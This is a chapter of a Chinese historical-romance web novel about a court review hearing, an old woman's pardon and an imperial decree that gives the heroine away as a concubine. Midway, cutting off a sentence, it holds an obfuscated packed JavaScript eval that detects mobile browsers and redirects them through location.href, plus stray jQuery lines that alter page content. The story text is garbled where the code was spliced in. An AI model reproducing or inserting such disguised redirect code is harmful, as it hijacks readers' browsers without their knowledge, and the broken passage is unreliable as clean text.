23. 赐婚

内侍监长就是皇帝跟前的大太监,他的到来无异于圣上亲临,整个绣衣使内跪了一片,卫姜看向前面带着枷锁的田老太太,心头闪过不妙的预感。


“咱个今日托陛下仁厚放闲,随御史大人一道来见见世面,诸位大人自忙,不必理会咱个。”广云公公话里谦逊,却没有半点客气,径直走到主审旁的位置。


啧,来着不善呐。


马骁肆拱手让开座位,不动声色朝自家上官递去一个询问的眼神。


昨日深夜,王家在岭南豢养私兵的证据送到了长安,御史大人天不亮就进宫去了,欲要将王家人的脑袋送给卫姑娘当作出狱的礼物。


照理他应该忙的一整日都会在宫里,怎么才几个时辰就回来了,还带回来圣上的眼线?


再说回王家的事,这回他不信圣上看了那些证据还能容忍得了王家,可就在半个时辰前,宫里突然传旨,以王家的老太爷年纪大了身体不适为由,容他在定罪之前在府上自行闭门思过。


这与放了王家何异。


圣上他到底是什么意思?


手边绯色官袍轻撩,秦起跟着坐在了广云公公的身边,还叫贴身小厮将今天的公文都送过来,一切看起来如常。


马骁肆心里有了谱,便也当圣上的眼线不存在,照常审理案子。


与先前卫宁远的审理不同,田老太太和卫姜皆是不满裁决而提出的复审。


这个规定是沿袭至前朝,三个月之内不满裁定,准许由犯人自己提出复审请求。


马骁肆作为协审唱读了律例条文,又警告了一番抵赖、伪证的严重后果,便正式开审,由双方根据呈上来的证供进行辩申。


田老太太作为姻亲被卫宁远卷进来实在是场无妄之灾,遭就遭在沾了九皇子谋逆的边,律例里规死了凡有犯者一律诛族处置,老太太若想脱罪,要么从根源找到卫宁远没有犯事的证明,要么适逢圣上特赦。


前者,御史大人已经做过尝试未果,后者,陛下偏心的没眼,看起来不会在九皇子的事情上松口,两条路,路路不通。


可怜沾了这个丧门星。


马骁肆心知田老太太的结局不会改变,唯一能做的是给她稍微拖延砍头的日子。


“....堂下案妇田霜娥,将你所言之理、所持之据,一一道来,本官自会秉公审断!”


田老太太一下有些慌张,她迟疑着朝远处的外孙女投去不确定的眼神,在看到卫姜眼里的坚定,跟着镇定下来,未有急于辩驳什么,反是经由小吏递交上去一份文书。


马骁肆正要接过来,被广云公公先一手夺了去。


正当他以为内监要因此使些绊子的时候,广云公公已经将文书递还了回来,再看向堂下跪着的田老太太时,眼里多了几分敬重。


马骁肆颇觉奇怪,随之看到了文书里写着——


朕闻妇田霜娥于危难之时,慷慨捐粮,以济民困,汝之义举,实为天下楷模,今特赐封为“慈义夫人”,以彰其功,望汝继续秉持仁爱之心.......


是一个捐粮的嘉奖文书,依稀记得,这样的文书,朝廷总共就颁过一次。


甲辰年间,也就是陛下登基的第三年,广陵府闹过一次大水紧接着又是大旱,入秋时节粮食颗粒无收,又值国库粮库空虚,百姓流离失所,名声怨载,不少官员上书弹劾是文渊帝德不配位,引发天怒。


转机出现在一个民间的粮商,那人不光捐了全部的囤粮,还号召了熟识的富商搭棚施粥,解了民困,也解了今上的困局。


没想到这个粮商就是田老太太,如此想求个特赦,今上多少会顾念救急的情分……


马骁肆没想到转机来得这么突然,跟着都有些振奋,心下又不免奇怪,有这东西,怎么不早拿出来?


事实上田老太太早忘了这件事,当年她纯粹想做点好事就做了,没想过要什么报答,更没想过因此借势,一纸文书收到之后高兴了两天,后面连放哪儿都忘了。


还是小姜儿盘算如何帮她脱困时提起可以用这事做文章,她才想起来,文书也是临时叫人去京兆府那里的存档里拓印过来的,并非是个原件。


文书有了,绣衣使也无法做主,还是要上达天厅,眼下今上的人就在这里,马骁肆朝主审的另一个周总使递了个眼神。


周总使立马会意,广文公公听后面露为难,委婉道:“九皇子犯的可是天大的罪,要是田夫人与那卫祭酒关系疏远尚还有解……”


众人听出他非是什么为难,实在今上不算是个念旧恩的仁厚性子,岳母女婿,关系如何疏远不了,终究是个死局。


田老太太面上却未有颓然失望之色,她惊喜又诧异朝后看去,那公公所言竟和她小姜儿猜的最差的一种情况大差不差。


卫姜嘴边同样露出浅淡笑意,同田老太太再次点头。


田老太太心里有了数,这回淡定多了,缓缓开口道:“民妇实在冤枉,民妇的大女儿虽是卫宁远之妻,但早逝多年,二女儿云娘因她无羞无耻偏要嫁与卫宁远当继室,民妇早与她断绝关系,实在不能算是姓卫的丈母娘。”


说着,又呈上一份与女儿的断绝书,文书字印是六年多以前,盖印也验过没有问题。


“内监大人,您看这……”马骁肆故作为难。


前头可是广云公公你自个说关系疏远有解,这不就疏远?


广云公公颇是意外看向田老太太。


好一个先礼后兵,这步棋实在走的巧妙。


这两张纸,单拿出哪张都救不了她,但凡递交的顺序错了也还是救不了她。


恰恰一切刚刚好。


是个不简单的老太太,不,也不对,她不是走棋的人。


广云公公看着频繁挑头后看向女郎的老太太,那个小女郎才是吧。


不怪不叫圣上留意。


反正圣上今日的目的不是田老太太,对于她的特赦不无不可。


实在是出乎意料的结果,马骁肆头个念头,这不是自家上官的安排吧?


他越想越觉得之中有大人行事的影子,难怪审理的过程中,他专注文书头也不抬,一副纯是陪着内监的模样。


啧啧啧,怪道不替心尖尖着急呢。


马骁肆侧目势必要悄悄揶揄一下上官,却意外瞥见自家上官正不着痕迹盯着卫小娘子,幽深的眸子里一闪而逝的欣赏。


竟是……卫小娘子么?


怎会,能打这么一个漂亮翻身仗的人,起码熟读律例,还要懂的官场的博弈,她才将将要及笄,还是一个女子,张啼灵都未必有这筹谋,她怎会?


马骁肆压下震撼,总归接下来就是卫姜受审,试试便见真章了。


她是卫宁远嫡亲的女儿,不是一纸文书能断的关系,更没有田老太太的天时地利,实在想不出她还有什么巧思能够脱罪。


卫姜不知道旁人所想,见外祖母没事,那位内监也没有为难,心里压着的重石终于搬走了,无事一身轻的等着接下来的审问,谁知,方才庆幸完,广云公公突然对她来了审理兴致。


“抬起头来,让咱个看看。”


卫姜依言,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241486|166280||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


广云公公看得却是秦起:“可真是个标志的小娘子,御史大人觉得呢?”


先前卫姜因着雏鸟的依赖对于秦起的不在感到失落,彼时人真的出现了,只剩下浑身的不自在和歉意,恨不能立刻刨个坑埋进去,根本不敢去听秦起的回答。


便是这时,她猝不及防听到男人嗓音清朗:“本官觉得尚好。”


广云公公与卫姜露出同样的诧异神色,不想他竟真的答了,还答得如此直白。


圣上不在,秦大人演都不演了吗?


“咱个听说,这卫娘子先前冲撞了大人,被关了好几日呢,没想到御史大人竟有如此评价,实在叫咱个意外。”广云公公说着,笑意敛起,指着卫姜声音尖锐,“好个胆大的刁娘子,一会儿可仔细着你的回答,小心御史大人要了你的脑袋。”


说着,视线在秦起和卫姜之间圈寻,试图抓到些端倪。


卫姜半点没有被威慑到,自从得知秦起未有盲脸,哪里想不通秦起对外所谓的冲撞皆是为了助她从王家脱困,还不想她知道。


秦起他真的很好,而她,混账上下其手……


卫姜脑袋垂的低低的,若秦起想要她以死谢罪,也不是不可以。


秦起不想让人看出什么的时候,无人能够窥探。


广云公公越试探越迷糊,只得讪讪闭嘴。


审讯正式开始,和田老太太差不多的流程,所有人都等着卫姜拿出什么震撼的证物,再次惊艳。


谁知,她只是背了一段律例:“凡应处腰斩、头斩之罪者,若愿免死,可请为边官奴。发往张掖、敦煌等边郡,隶于边郡都尉,屯田戍边,终身服劳。若为连坐者,可减十年。若有逃亡,捕得之日,腰斩示众。”


卫姜一开始便没想过被免罪的可能,她争取的是官奴。


从前她或许会怕,觉得一辈子便就毁了,但认识了张啼灵之后,知道婚假不是女子唯一的出路,便无所畏惧。


十年官奴亦好过困于后宅一生。


实在偏门的一段条例,连秦起都回忆了半晌才在开国的一众律例文书里翻到了这一条。


其实他早准备了用来替死的女囚,没想到卫姜最后竟选了这条路。


真是每次都会给他惊喜。


秦起抑制不住的喜爱,这一刻,他忽然很想,真的很想不惜一切将她留在自己身边。


卫姜的申辩挑不出错来,就在即将宣判的时候,广云公公抬起一手:“且慢!咱个怎么记得卫祭酒祖上有异族血统,后代可是做不了官奴。”


卫姜能找出官奴的路子已是另辟蹊径,没想到路却在这里堵死了。


没有绝望是假的,但争取了能争取的,卫姜觉得似乎没有什么不能接受的。


马骁肆心里将广云公公狠骂了一通,就知道这厮来着不善,又悄悄去看自家上官。


别看公文了,快给你的心尖尖说句话啊,人要没命了。


广云公公今日有意促成这副死局,根本不给秦起有说话的机会,一拍大腿:“瞧,咱个这个脑子,坏事,都忘了今上的嘱咐了。”


他说着,从袖口里抽出来一张圣旨,“咱个识字不多,劳请御史大人帮咱个读一下。”


秦起展开圣旨,上头圣上言说有意放卫小娘子一条生路,故而将她赐给老丞相作为侍妾,代他照顾忠良。


“陛下说了,要是丞相大人不满意,御史大人可以代其拒绝。”广云公公笑得和善。


御史大人是救还是不救呢?


救下了,便绝无和卫小娘子在一起的可能了!